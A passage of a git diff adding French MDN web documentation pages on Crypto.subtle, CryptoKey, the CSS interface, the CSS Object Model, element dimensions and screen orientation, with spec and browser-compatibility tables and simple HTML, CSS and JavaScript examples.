+ <dd>Rempli le {{ jsxref("TypedArray") }} passé avec des valeurs aléatoires utilisables pour la cryptographie.</dd>
+ <dt>
+ <h2 id="Spécifications">Spécifications</h2>
+
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Spécification</th>
+    <th scope="col">Statut</th>
+    <th scope="col">Commentaire</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td>{{SpecName("Web Crypto API", "#crypto-interface", "Crypto")}}</td>
+    <td>{{Spec2("Web Crypto API")}}</td>
+    <td>Definition<br>
+     initiale</td>
+   </tr>
+  </tbody>
+ </table>
+ </dt>
+ <dt>
+ <h2 id="Voir_aussi">Voir aussi</h2>
+
+ <ul>
+  <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+ </ul>
+ </dt>
+</dl>
diff --git a/files/fr/web/api/crypto/subtle/index.html b/files/fr/web/api/crypto/subtle/index.html
new file mode 100644
index 0000000000..8ba23fad8b
--- /dev/null
+++ b/files/fr/web/api/crypto/subtle/index.html
@@ -0,0 +1,90 @@
+---
+title: Crypto.subtle
+slug: Web/API/Crypto/subtle
+translation_of: Web/API/Crypto/subtle
+---
+<p>{{APIRef("Web Crypto API")}}{{SecureContext_header}} </p>
+
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>La propriété <strong><code>Crypto.subtle</code></strong> en mode lecture seule retourne un objet {{domxref("SubtleCrypto")}} permettant de réaliser des opérations cryptographiques.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="notranslate">var <em>crypto</em> = crypto.subtle;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('Web Crypto API', '#dfn-Crypto', 'Crypto.subtle') }}</td>
+   <td>{{ Spec2('Web Crypto API') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome(37) }}</td>
+   <td>{{ CompatGeckoDesktop(34) }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>37</td>
+   <td>{{ CompatGeckoMobile(34) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Crypto")}}.</li>
+ <li>{{domxref("SubtleCrypto")}}.</li>
+</ul>
diff --git a/files/fr/web/api/cryptokey/index.html b/files/fr/web/api/cryptokey/index.html
new file mode 100644
index 0000000000..ecd13034a6
--- /dev/null
+++ b/files/fr/web/api/cryptokey/index.html
@@ -0,0 +1,109 @@
+---
+title: CryptoKey
+slug: Web/API/CryptoKey
+tags:
+  - API
+  - Interface
+  - Reference
+  - Web Crypto API
+translation_of: Web/API/CryptoKey
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>L'interface <strong><code>CryptoKey</code></strong> représente une {{glossary("clef")}} cryptographique dérivé d'un algorithme de clef spécifique.</p>
+
+<p>Un objet <code>CryptoKey</code> peut être obtenu en utilisant : {{domxref("SubtleCrypto.generateKey()")}}, {{domxref("SubtleCrypto.deriveKey()")}} ou {{domxref("SubtleCrypto.importKey()")}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface n'hérite d'aucune propriété.</em></p>
+
+<dl>
+ <dt>{{domxref("CryptoKey.type")}}</dt>
+ <dd>Retourne  une énumération de valeurs représentant un type de clef, une clef secrète (pour un algorithme symétriques), une clef publique ou privée (pour un algorithme asymétrique)</dd>
+ <dt>{{domxref("CryptoKey.extractable")}}</dt>
+ <dd>Retourne un {{jsxref("booléen")}} indiquant si l'information peut être extraite de l'application ou non.</dd>
+ <dt>{{domxref("CryptoKey.algorithm")}}</dt>
+ <dd>Retourne un objet opaque représentant  un chiffre particulier avec lequel la clé doit être utilisée avec.</dd>
+ <dt>{{domxref("CryptoKey.usages")}}</dt>
+ <dd>Retourne un tableau contenant une énumération de valeurs indiquant quel est la clé qui peut être utilisée.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface n'hérite et n'implémente aucune méthode.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('Web Crypto API', '#dfn-CryptoKey', 'CryptoKey') }}</td>
+   <td>{{ Spec2('Web Crypto API') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatChrome(37) }}</td>
+   <td>{{ CompatGeckoDesktop(34) }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support Basique</td>
+   <td>37</td>
+   <td>{{ CompatChrome(37) }}</td>
+   <td>{{ CompatGeckoMobile(34) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Crypto")}} et {{domxref("Crypto.subtle")}}.</li>
+</ul>
diff --git a/files/fr/web/api/css/index.html b/files/fr/web/api/css/index.html
new file mode 100644
index 0000000000..7733aa3665
--- /dev/null
+++ b/files/fr/web/api/css/index.html
@@ -0,0 +1,128 @@
+---
+title: CSS
+slug: Web/API/CSS
+translation_of: Web/API/CSS
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p><span id="result_box" lang="fr"><span class="hps">L'interface</span> <span class="hps">CSS</span> possède les <span class="hps">méthodes</span> utiles au CSS<span>.</span> <span class="hps">Aucun objet</span> de <span class="hps">cette interface</span> <span class="hps">ne sont implémentés </span><span>:</span> <span class="hps">il ne contient que</span> <span class="hps">des méthodes statiques</span> <span class="hps">et</span> <span class="hps">est donc une interface</span> <span class="hps">abstraite</span><span>.</span></span></p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><span id="result_box" lang="fr"><span class="hps">L'interface</span> <span class="hps">CSS</span> <span class="hps">est une</span> <span class="hps">interface</span> <span class="hps">et aucun</span> <span class="hps">objet de ce type</span> ne <span class="hps">peut être créé</span><span>:</span> <span class="hps">seules les méthodes</span> <span class="hps">statiques</span> <span class="hps">sont définies</span><span>.</span></span></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><span id="result_box" lang="fr"><span class="hps">L'interface</span> <span class="hps">CSS</span> <span class="hps">est une</span> <span class="hps">interface</span> <span class="hps">et aucun</span> <span class="hps">objet de ce type</span> ne <span class="hps">peut être créé</span><span>:</span> <span class="hps">seules les méthodes</span> <span class="hps">statiques</span> <span class="hps">sont définies</span><span>.</span></span></p>
+
+<h2 id="Static_methods">Static methods</h2>
+
+<p><em>Aucun héritage de méthode statique</em>.</p>
+
+<dl>
+ <dt>{{domxref("CSS.supports()")}}</dt>
+ <dd>Retourne un {{domxref("Boolean")}} qui indique si la paire <em>propriété/valeur</em>, ou si la condition, passée en paramètre est supportée.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("CSS.escape()")}} {{experimental_inline}}</dt>
+ <dd>Utilisée pour protéger une chaine de caractère qui sera utiliser comme sélecteur CSS.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#the-css.escape%28%29-method', 'CSS')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td>Ajoute la méthode statique escape()</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional', '#the-css-interface', 'CSS')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>28.0</td>
+   <td>{{CompatGeckoDesktop("22.0")}} [1]</td>
+   <td>6.0</td>
+   <td>12.1</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>escape()</code>{{experimental_inline}}</td>
+   <td>46.0</td>
+   <td>{{CompatGeckoDesktop("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>12.1</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>escape()</code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Disponible avec l'option <code>layout.css.supports-rule.enabled</code> depuis Gecko 20.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/fr/web/api/css_object_model/determining_the_dimensions_of_elements/index.html b/files/fr/web/api/css_object_model/determining_the_dimensions_of_elements/index.html
new file mode 100644
index 0000000000..04bb432759
--- /dev/null
+++ b/files/fr/web/api/css_object_model/determining_the_dimensions_of_elements/index.html
@@ -0,0 +1,43 @@
+---
+title: Déterminer les dimensions des éléments
+slug: Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements
+translation_of: Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements
+---
+<p>{{APIRef("CSSOM View")}}</p>
+
+<p>Il y a plusieurs propriétés que vous pouvez regarder dans le but de déterminer la largeur et la hauteur des éléments, et il peut être difficile de déterminer quelle est la bonne pour vos besoins.</p>
+
+<p>Cet article est conçu pour vous aider à prendre cette décision. Notez que toutes ces propriétés sont en lecture seule .</p>
+
+<p>Si vous voulez définir la largeur et la hauteur d'un élément, utilisez <code><a href="https://developer.mozilla.org/fr/docs/Web/CSS/width" title="https://developer.mozilla.org/fr/docs/Web/CSS/width">width</a></code> et <code><a href="https://developer.mozilla.org/fr/docs/Web/CSS/height" title="https://developer.mozilla.org/fr/docs/Web/CSS/height">height</a></code>; ou les propriétés <a href="https://developer.mozilla.org/fr/docs/Web/CSS/min-width" title="https://developer.mozilla.org/fr/docs/Web/CSS/min-width"> <code>min-width</code></a>, <a href="https://developer.mozilla.org/fr/docs/Web/CSS/max-width" title="https://developer.mozilla.org/fr/docs/Web/CSS/max-width"> <code>max-width</code></a>, <a href="https://developer.mozilla.org/fr/docs/Web/CSS/min-height" title="https://developer.mozilla.org/fr/docs/Web/CSS/min-height"> <code>min-height</code></a> et <a href="https://developer.mozilla.org/fr/docs/Web/CSS/max-height" title="https://developer.mozilla.org/fr/docs/Web/CSS/max-height"> <code>max-height</code></a>.</p>
+
+<h2 id="How_much_room_does_it_use_up.3F" name="How_much_room_does_it_use_up.3F">Que faut-il utiliser ?</h2>
+
+<p>Si vous avez besoin de connaître les dimensions totales de l'espace occupé par un élément, y compris la largeur du contenu visible, les barres de défilement (le cas échéant), le rembourrage, et les frontières, vous pouvez utiliser les propriétés <code><a href="/fr/DOM/element.offsetWidth" title="/en/DOM/element.offsetWidth">offsetWidth</a></code> et <code><a href="/fr/DOM/element.offsetHeight" title="/en/DOM/element.offsetHeight">offsetHeight</a></code>.</p>
+
+<p>La plupart du temps ce sont les mêmes que la largeur et la hauteur de <code><a href="/fr/DOM/element.getBoundingClientRect" title="/en/DOM/element.getBoundingClientRect">getBoundingClientRect()</a></code>, quand il n'y a pas de transformations appliquées à l'élément. En cas de transformations, <code>offsetWidth</code> et <code>offsetHeight</code> renvoie la disposition de la largeur et la hauteur de l'élément, tandis que <code>getBoundingClientRect()</code> retourne le rendu de la largeur et de la hauteur.</p>
+
+<p>A titre d'exemple, si l'élément a <code>width: 100px;</code> et <code>transform: scale(0.5);</code> <code>getBoundingClientRect()</code> retournera 50 comme largeur, tandis que <code>offsetWidth</code> retournera 100.</p>
+
+<p><img alt="Image:Dimensions-offset.png" class="internal" src="/@api/deki/files/186/=Dimensions-offset.png"></p>
+
+<h2 id="What.27s_the_size_of_the_displayed_content.3F" name="What.27s_the_size_of_the_displayed_content.3F">Quelle est la taille du contenu affiché ?</h2>
+
+<p>Si vous avez besoin de savoir combien prend d'espace le contenu réel affiché, y compris le rembourrage mais sans les frontières, les marges, ou les barres de défilement, vous pouvez utiliser les propriétés <code><a href="/fr/DOM/element.clientWidth" title="/en/DOM/element.clientWidth">clientWidth</a></code> et  <a href="/fr/DOM/element.clientHeight" title="/en/DOM/element.clientHeight"><code> clientHeight</code></a> :</p>
+
+<p><img alt="Image:Dimensions-client.png" class="internal" src="/@api/deki/files/185/=Dimensions-client.png"></p>
+
+<h2 id="How_big_is_the_content.3F" name="How_big_is_the_content.3F">Grandeur totale</h2>
+
+<p>Si vous avez besoin de connaître la taille réelle d'un élement, peu importe sa visibilité, vous devez utiliser les propriétés <code><a href="/fr/DOM/element.scrollWidth" title="/en/DOM/element.scrollWidth">scrollWidth</a></code> et <code><a href="/fr/docs/Web/API/Element.scrollHeight" title="/fr/docs/Web/API/Element.scrollHeight">scrollHeight</a></code>.</p>
+
+<p>Elles retournent la largeur et la hauteur de l'ensemble du contenu d'un élément, même si seulement une partie de celui-ci est actuellement visible en raison de l'utilisation des barres de défilement.</p>
+
+<p>Par exemple, si un élément de 600x400 pixels est affiché dans une boîte de défilement de 300x300 pixels, <code>scrollWidth</code> retourne 600 tandis que <code>scrollHeight</code> retourne 400.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/cssom-view/">http://www.w3.org/TR/cssom-view/</a></li>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN: Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/fr/web/api/css_object_model/index.html b/files/fr/web/api/css_object_model/index.html
new file mode 100644
index 0000000000..81547c72c2
--- /dev/null
+++ b/files/fr/web/api/css_object_model/index.html
@@ -0,0 +1,129 @@
+---
+title: CSS Object Model
+slug: Web/API/CSS_Object_Model
+tags:
+  - API
+  - CSSOM
+  - Reference
+translation_of: Web/API/CSS_Object_Model
+---
+<p>{{DefaultAPISidebar('CSSOM')}}</p>
+
+<p>Le <strong>CSS Object Model</strong> est un ensemble d’API permettant de manipuler le CSS depuis JavaScript. C’est l’équivalent des API DOM et HTML, mais pour CSS. Il permet de lire et modifier des styles CSS dynamiquement.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("AnimationEvent")}}</li>
+ <li>{{domxref("CaretPosition")}}</li>
+ <li>{{domxref("CSS")}}</li>
+ <li>{{domxref("CSSCharsetRule")}}</li>
+ <li>{{domxref("CSSConditionRule")}}</li>
+ <li>{{domxref("CSSCounterStyleRule")}}</li>
+ <li>{{domxref("CSSFontFaceRule")}}</li>
+ <li>{{domxref("CSSFontFeatureValuesMap")}}</li>
+ <li>{{domxref("CSSFontFeatureValuesRule")}}</li>
+ <li>{{domxref("CSSGroupingRule")}}</li>
+ <li>{{domxref("CSSImportRule")}}</li>
+ <li>{{domxref("CSSKeyframeRule")}}</li>
+ <li>{{domxref("CSSKeyframesRule")}}</li>
+ <li>{{domxref("CSSMarginRule")}}</li>
+ <li>{{domxref("CSSMediaRule")}}</li>
+ <li>{{domxref("CSSNamespaceRule")}}</li>
+ <li>{{domxref("CSSPageRule")}}</li>
+ <li>{{domxref("CSSRule")}}</li>
+ <li>{{domxref("CSSRuleList")}}</li>
+ <li>{{domxref("CSSStylesheet")}}</li>
+ <li>{{domxref("CSSStyleDeclaration")}}</li>
+ <li>{{domxref("CSSSupportsRule")}}</li>
+ <li>{{domxref("CSSVariablesMap")}}</li>
+ <li>{{domxref("CSSViewportRule")}}</li>
+ <li>{{domxref("ElementCSSInlineStyle")}}</li>
+ <li>{{domxref("GeometryUtils")}}</li>
+ <li>{{domxref("GetStyleUtils")}}</li>
+ <li>{{domxref("LinkStyle")}}</li>
+ <li>{{domxref("MediaList")}}</li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{domxref("PseudoElement")}}</li>
+ <li>{{domxref("Screen")}}</li>
+ <li>{{domxref("Stylesheet")}}</li>
+ <li>{{domxref("StylesheetList")}}</li>
+ <li>{{domxref("TransitionEvent")}}</li>
+</ul>
+</div>
+
+<p>Quelques autres interfaces sont également étentues par les spécifications relatives au CSSOM : {{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, et {{domxref("SVGElement")}}.</p>
+
+<h2 id="Tutoriels">Tutoriels</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements">Déterminer les dimensions l’un élément</a> (nécéssite une mise à jour, car datant de l’époque DHTML/Ajax).</li>
+ <li><a href="/fr/docs/Web/API/CSS_Object_Model/Managing_screen_orientation">Gérer l’orientation de l’écran</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM")}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Screen Orientation")}}</td>
+   <td>{{Spec2("Screen Orientation")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Fonts")}}</td>
+   <td>{{Spec2("CSS3 Fonts")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Animations")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Transitions")}}</td>
+   <td>{{Spec2("CSS3 Transitions")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Variables")}}</td>
+   <td>{{Spec2("CSS3 Variables")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Conditional")}}</td>
+   <td>{{Spec2("CSS3 Conditional")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Device")}}</td>
+   <td>{{Spec2("CSS3 Device")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Counter Styles")}}</td>
+   <td>{{Spec2("CSS3 Counter Styles")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notes_sur_la_compatibilité_des_navigateurs">Notes sur la compatibilité des navigateurs</h2>
+
+<p>Toutes ces fonctionnalités ont été ajoutées petit à petit au fil des années dans les différents navigateurs : ce fut un processus assez complexe, impossible à résumer en un simple tableau. Veuillez vous référer aux interfaces spécifiques pour connaître leurs disponibilités.</p>
diff --git a/files/fr/web/api/css_object_model/managing_screen_orientation/index.html b/files/fr/web/api/css_object_model/managing_screen_orientation/index.html
new file mode 100644
index 0000000000..39b279e9d3
--- /dev/null
+++ b/files/fr/web/api/css_object_model/managing_screen_orientation/index.html
@@ -0,0 +1,180 @@
+---
+title: Gérer l'orientation de l'écran
+slug: Web/API/CSS_Object_Model/Managing_screen_orientation
+tags:
+  - Avancé
+  - CSSOM View
+  - Guide
+  - Screen Orientation
+translation_of: Web/API/CSS_Object_Model/Managing_screen_orientation
+---
+<p>{{SeeCompatTable}}{{APIRef}}</p>
+
+<h2 id="Sommaire">Sommaire</h2>
+
+<p>L'orientation de l'écran est quelque chose de légèrement différent de <a href="/fr/docs/WebAPI/Detecting_device_orientation" title="/en-US/docs/WebAPI/Detecting_device_orientation">l'orientation de l'appareil</a>. Même si un appareil n'a pas la capacité de détecter sa propre orientation, un écran en possède toujours une. Et si on est capable de connaître son orientation, il est bon d'avoir la possibilité de contrôler l'orientation de l'écran afin de préserver ou d'adapter l'interface d'une application web.</p>
+
+<p>Il y a plusieurs manières de gérer l'orientation de l'écran, à la fois avec CSS et JavaScript:</p>
+
+<ul>
+ <li>La première est la <a href="/fr/docs/Web/CSS/Requ%C3%AAtes_m%C3%A9dia/Utiliser_les_Media_queries#orientation" title="en-US/CSS/Media queries#orientation">media query orientation</a>. Cela permet au contenu d'ajuster sa mise en forme à l'aide de CSS, selon que la fenêtre soit en mode paysage (c'est à dire que la largeur est plus grande que la hauteur) ou en mode portrait (que sa hauteur est plus grande que sa largeur).</li>
+ <li>La deuxième est l'API JavaScript d'orientation d'écran, qui peut être utilisée pour récupérer l'orientation en cours de l'écran et éventuellement de la verrouiller.</li>
+</ul>
+
+<h2 id="Ajuster_la_mise_en_page_selon_l'orientation">Ajuster la mise en page selon l'orientation</h2>
+
+<p>Un des cas d'utilisation les plus courants pour les changements d'orientation est quand vous souhaitez modifier la mise en page de votre contenu selon l'orientation de l'appareil. Par exemple, peut-être que vous voudriez qu'une barre d'outils s'étende le long de la dimension la plus longue de l'appareil. En utilisant une media query, vous pouvez le faire facilement et automatiquement.</p>
+
+<p>Prenons pour exemple le code HTML suivant:</p>
+
+<pre class="brush: html">&lt;ul id="toolbar"&gt;
+  &lt;li&gt;A&lt;/li&gt;
+  &lt;li&gt;B&lt;/li&gt;
+  &lt;li&gt;C&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis lacinia nisi nec sem viverra vitae fringilla nulla ultricies. In ac est dolor, quis tincidunt leo. Cras commodo quam non tortor consectetur eget rutrum dolor ultricies. Ut interdum tristique dapibus. Nullam quis malesuada est.&lt;/p&gt;
+</pre>
+
+<p>Le CSS s'appuie sur une media query <code>orientation</code> pour gérer les styles spécifiques liés à l'orientation de l'écran.</p>
+
+<pre class="brush: css">/* D'abord, on définit les styles communs */
+
+html, body {
+  width : 100%;
+  height: 100%;
+}
+
+body {
+  border: 1px solid black;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+p {
+  font   : 1em sans-serif;
+  margin : 0;
+  padding: .5em;
+}
+
+ul {
+  list-style: none;
+
+  font   : 1em monospace;
+  margin : 0;
+  padding: .5em;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+
+  background: black;
+}
+
+li {
+  display: inline-block;
+  margin : 0;
+  padding: 0.5em;
+  background: white;
+}
+</pre>
+
+<p>Une fois qu'on a définit les styles communs, on peut définir des cas spéciaux selon l'orientation.</p>
+
+<pre class="brush: css">/* En mode portrait, on veut la barre d'outils en haut */
+
+@media screen and (orientation: portrait) {
+  #toolbar {
+    width: 100%;
+  }
+}
+
+/* En mode paysage, on veut la barre d'outils à gauche */
+
+@media screen and (orientation: landscape) {
+  #toolbar {
+    position: fixed;
+    width: 2.65em;
+    height: 100%;
+  }
+
+  p {
+    margin-left: 2em;
+  }
+
+  li + li {
+    margin-top: .5em;
+  }
+}
+</pre>
+
+<p>Et voici le résultat:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Portrait</th>
+   <th scope="col">Landscape</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ EmbedLiveSample("Ajuster_la_mise_en_page_selon_l'orientation", 180, 350) }}</td>
+   <td>{{ EmbedLiveSample("Ajuster_la_mise_en_page_selon_l'orientation", 350, 180) }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note:</strong> La media query orientation s'applique en vérité selon l'orientation de la fenêtre du navigateur (ou iframe) et non l'orientation de l'appareil.</p>
+</div>
+
+<h2 id="Verrouiller_l'orientation_de_l'écran">Verrouiller l'orientation de l'écran</h2>
+
+<div class="warning">
+<p><strong>Attention:</strong> Cette API est expérimentale et est actuellement disponible sur <a href="/en-US/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> et <a href="/en-US/docs/Mozilla/Firefox_for_Android" title="/en-US/docs/Mozilla/Firefox_for_Android">Firefox pour Android</a> avec le préfixe <code>moz</code>, et sur Internet Explorer pour Windows 8.1 et plus avec le préfixe <code>ms</code>.</p>
+</div>
+
+<p>Certains appareils (principalement les appareils mobiles) peuvent changer dynamiquement d'orientation d'écran selon leur propre orientation, garantissant que l'utilisateur sera toujours capable de lire ce qu'il y a sur l'écran. Bien que ce comportement soit parfaitement adapté au contenu texte, certains contenus peuvent être affectés négativement par ce changement. Par exemple, les jeux basés sur l'orientation de l'appareil être gachés par un tel changement.</p>
+
+<p>L'API Screen Orientation (orientation de l'écran) est faite pour empêcher ou gérer un tel changement.</p>
+
+<h3 id="Écouter_les_changements_d'orientation">Écouter les changements d'orientation</h3>
+
+<p>L'événement {{event("orientationchange")}} est déclenché chaque fois que l'appareil change l'orientation de l'écran et l'orientation peut elle-même être lue avec la propriété {{domxref("Screen.orientation")}}.</p>
+
+<pre class="brush: js">screen.addEventListener("orientationchange", function () {
+  console.log("The orientation of the screen is: " + screen.orientation);
+});
+</pre>
+
+<h3 id="Empêcher_le_changement_d'orientation">Empêcher le changement d'orientation</h3>
+
+<p>Toute application web peut verrouiller l'écran dans une orientation pour répondre à ses besoins. L'écran est verrouillé en utilisant la méthode {{domxref("Screen.lockOrientation()")}} et dévérouillé en utilisant {{domxref("Screen.unlockOrientation()")}}.</p>
+
+<p>{{domxref("Screen.lockOrientation()")}} accepte une chaîne de caractères (ou une série de chaînes de caractères) pour définir le type de verrouillage à appliquer. Les valeurs acceptées sont: <code>portrait-primary</code>, <code>portrait-secondary</code>, <code>landscape-primary</code>, <code>landscape-secondary</code>, <code>portrait</code>, <code>landscape</code> (Voir {{domxref("Screen.lockOrientation")}}  pour en savoir plus sur ces valeurs).</p>
+
+<pre class="brush: js">screen.lockOrientation('landscape');</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Un verrouillage d'écran est dépendant de l'application web. Si une a application A est verrouillée à <code>landscape</code> et l'application B est verrouillée à <code>portrait</code>, passer de l'application A à B ou à A ne va pas déclencher un événement {{event("orientationchange")}} parce que les deux applications gardent l'orientation qu'elles avaient.</p>
+
+<p>En revanche, verrouiller l'orientation peut décléncher l'événement {{event("orientationchange")}} si l'orientation a dû être changée pour satisfaire aux critères du verrouillage.</p>
+</div>
+
